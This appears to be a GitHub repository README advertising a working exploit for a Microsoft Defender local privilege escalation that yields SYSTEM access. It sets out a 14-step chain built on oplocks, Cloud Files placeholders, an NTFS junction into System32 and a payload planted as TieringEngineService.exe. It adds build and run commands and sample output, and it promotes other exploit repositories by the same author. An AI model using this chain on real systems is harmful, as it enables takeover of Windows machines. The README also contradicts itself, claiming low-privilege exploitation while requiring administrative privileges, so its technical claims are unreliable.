SolarFlare

☀️ CVE-2026-41091 - RedSun (SolarFlare) - Microsoft Defender LPE Exploit

Microsoft Defender Link Following Vulnerability - Local Privilege Escalation to NT AUTHORITY\SYSTEM

The vulnerability is known as "RedSun" 🎯, "SolarFlare" is the name I gave to my exploit. ✅

📌 Overview

This repository contains a full working Proof of Concept (PoC) exploit for CVE-2026-41091, a critical local privilege escalation vulnerability in Microsoft Defender (Microsoft Malware Protection Engine). By exploiting improper link resolution (CWE-59), an authenticated low-privileged attacker can gain NT AUTHORITY\SYSTEM privileges.

The vulnerability, also known as "RedSun" or "SolarFlare", allows attackers to trick Microsoft Defender into writing arbitrary files to protected system locations with SYSTEM privileges using Cloud Files API (CfAPI) and NTFS junction points.

Note: This repository includes two versions:

basic_poc.cpp - Simplified algorithm demonstration (educational)

full_poc.cpp - Complete working exploit with all features

🔥 Key Features

🎯 Vulnerability Details

📦 Affected Products

Product	Affected Versions	Fixed Versions
Microsoft Malware Protection Engine	< 1.1.26040.8	1.1.26040.8+
Microsoft Defender Antimalware Platform	< 4.18.26040.7	4.18.26040.7+

🔬 Exploit Chain

┌─────────────────────────────────────────────────────────────────────────────┐
│ SOLARFLARE EXPLOIT CHAIN                                                    │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│ 1. Create Working Directory                                                 │
│    └─> %TEMP%\SF-XXXX\                                                      │
│                                                                              │
│ 2. Trigger Defender with EICAR                                              │
│    └─> Write reversed EICAR to bait file                                    │
│                                                                              │
│ 3. Wait for VSS Snapshot                                                    │
│    └─> Detect Volume Shadow Copy creation                                   │
│                                                                              │
│ 4. Create First Batch Oplock                                                │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on bait file                              │
│                                                                              │
│ 5. Wait for Oplock Break                                                    │
│    └─> Acquire exclusive access                                             │
│                                                                              │
│ 6. Rename Directory                                                         │
│    └─> Move original directory to .tmp                                      │
│                                                                              │
│ 7. Register Cloud Sync Root                                                 │
│    └─> CfRegisterSyncRoot with Cloud Files API                              │
│                                                                              │
│ 8. Create Cloud Placeholder                                                 │
│    └─> CfCreatePlaceholders for bait file                                   │
│                                                                              │
│ 9. Create Second Batch Oplock                                               │
│    └─> FSCTL_REQUEST_BATCH_OPLOCK on cloud placeholder                      │
│                                                                              │
│ 10. Wait for Second Oplock Break                                            │
│     └─> Acquire exclusive access                                            │
│                                                                              │
│ 11. Rename Cloud Directory                                                  │
│     └─> Move cloud directory to .cloud.tmp                                  │
│                                                                              │
│ 12. Create NTFS Junction to System32                                        │
│     └─> Redirect to C:\Windows\System32                                     │
│                                                                              │
│ 13. Copy Payload to System32                                                │
│     └─> Copy bait file to System32 as TieringEngineService.exe              │
│                                                                              │
│ 14. Activate Service as SYSTEM                                              │
│     └─> CoCreateInstance(StorageTiersManagement)                            │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

📦 Installation

Prerequisites

Windows 10/11 or Windows Server 2019/2022
Visual Studio 2019/2022 with C++ tools
Administrative privileges (for execution)

Build

# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit
cd CVE-2026-41091-PoC-Exploit

# Build using Visual Studio Developer Command Prompt
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib

# Or build basic version
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib

🛠️ Usage

Full Exploit (SYSTEM Privilege Escalation)

full_poc.exe

Basic Algorithm Demonstration

basic_poc.exe

📋 Example Output

Full Exploit Output

CVE-2026-41091 SolarFlare PoC
===============================
     by @tc4dy | CVSS 7.8
===============================

[*] SolarFlare exploit started.
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\SF-8427\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS snapshot detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Renaming cloud directory...
[+] Cloud directory renamed
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\TieringEngineService.exe
[*] Activating Storage Tiers Management service...
[+] Service activated as SYSTEM

[+] SYSTEM access obtained!

Basic PoC Output

CVE-2026-41091 Basic PoC
========================================
  Algorithm Demonstration Only
========================================
[*] Starting exploit algorithm...
[*] Creating working directory...
[+] Directory created: C:\Users\user\AppData\Local\Temp\BE-3921\
[*] Triggering Defender with EICAR...
[+] Defender triggered
[*] Waiting for VSS snapshot...
[+] VSS detected
[*] Creating first oplock...
[+] First oplock created
[*] Waiting for oplock break...
[+] Oplock acquired
[*] Renaming directory...
[+] Directory renamed
[*] Creating second oplock...
[+] Second oplock created
[*] Waiting for second oplock...
[+] Second oplock acquired
[*] Creating NTFS junction to System32...
[+] Junction created
[*] Waiting for Defender to finish...
[*] Copying payload to System32...
[+] Payload copied to C:\Windows\System32\Payload.exe

[+] Algorithm demonstration completed!
[i] This is only the basic algorithm.
[i] For full SYSTEM privilege escalation,
[i] use full_poc.cpp with Cloud API and COM activation.

🔧 Build Instructions

Using Visual Studio

Open Developer Command Prompt for VS 2022
Navigate to the exploit directory
Run:

# Full exploit
cl.exe /EHsc /std:c++17 full_poc.cpp /link cfapi.lib ntdll.lib

# Basic PoC
cl.exe /EHsc /std:c++17 basic_poc.cpp /link ntdll.lib

Using CMake

cmake_minimum_required(VERSION 3.10)
project(SolarFlare)

set(CMAKE_CXX_STANDARD 17)

add_executable(full_poc full_poc.cpp)
target_link_libraries(full_poc cfapi ntdll)

add_executable(basic_poc basic_poc.cpp)
target_link_libraries(basic_poc ntdll)

⚠️ Requirements & Limitations

Check out my other exploit repositories:

CVE-2026-24061-PoC-Exploit - GNU inetutils-telnetd Auth Bypass
CVE-2026-41940-PoC-Exploit - cPanel/WHM Authentication Bypass Exploit
CVE-2026-0073-PoC-Exploit - Android ADB Wireless Debugging Auth Bypass

Exploitation	✅ Local Privilege Escalation to SYSTEM ✅ Cloud Files API (CfAPI) Integration ✅ Cloud Placeholder Creation ✅ NTFS Junction Redirection
Techniques	✅ Batch Oplock Abuse ✅ VSS Snapshot Detection ✅ EICAR Trigger ✅ COM Service Activation
Target	✅ Microsoft Defender < 1.1.26040.8 ✅ Windows 10/11 ✅ Windows Server 2019/2022
Usability	✅ Detailed Logging ✅ Error Handling ✅ Random Directory Names ✅ Automatic Cleanup

CVE ID	CVE-2026-41091
CVSS Score	7.8 (High)
CVSS Vector	AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector	Local
Privileges Required	Low
User Interaction	None
Impact	SYSTEM-level code execution
CISA KEV	✅ Yes (actively exploited in the wild)
Patch Available	Microsoft Malware Protection Engine 1.1.26040.8

OS	Windows 10/11, Server 2019/2022
Privileges	Administrative (for execution)
Defender	Microsoft Defender must be enabled
Internet	Required for VSS snapshot detection
Patch	Only works on unpatched systems
Architecture	x64 only

Most Popular

About

CVE-2026-41091-PoC-Exploit